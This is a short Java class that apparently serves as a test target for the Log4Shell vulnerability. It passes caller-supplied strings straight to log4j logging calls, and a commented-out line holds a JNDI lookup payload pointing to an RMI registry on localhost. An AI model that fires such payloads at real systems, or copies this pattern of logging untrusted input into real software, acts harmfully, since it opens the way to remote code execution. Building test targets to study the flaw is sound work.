package log;

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class HelloWorld {
    private static final Logger logger = LogManager.getLogger("log.HelloWorld");
    public  String error(String pay ) {
        //logger.info(pay);
        logger.error(pay);
        //logger.debug(pay);
        //logger.("${jndi:rmi://127.0.0.1:1299/HelloRegistry}");
        return pay;
    }
    public  String debug(String pay ) {
        logger.debug(pay);
        return pay;
    }
    public  String info(String pay ) {
        logger.info(pay);
        return pay;
    }
}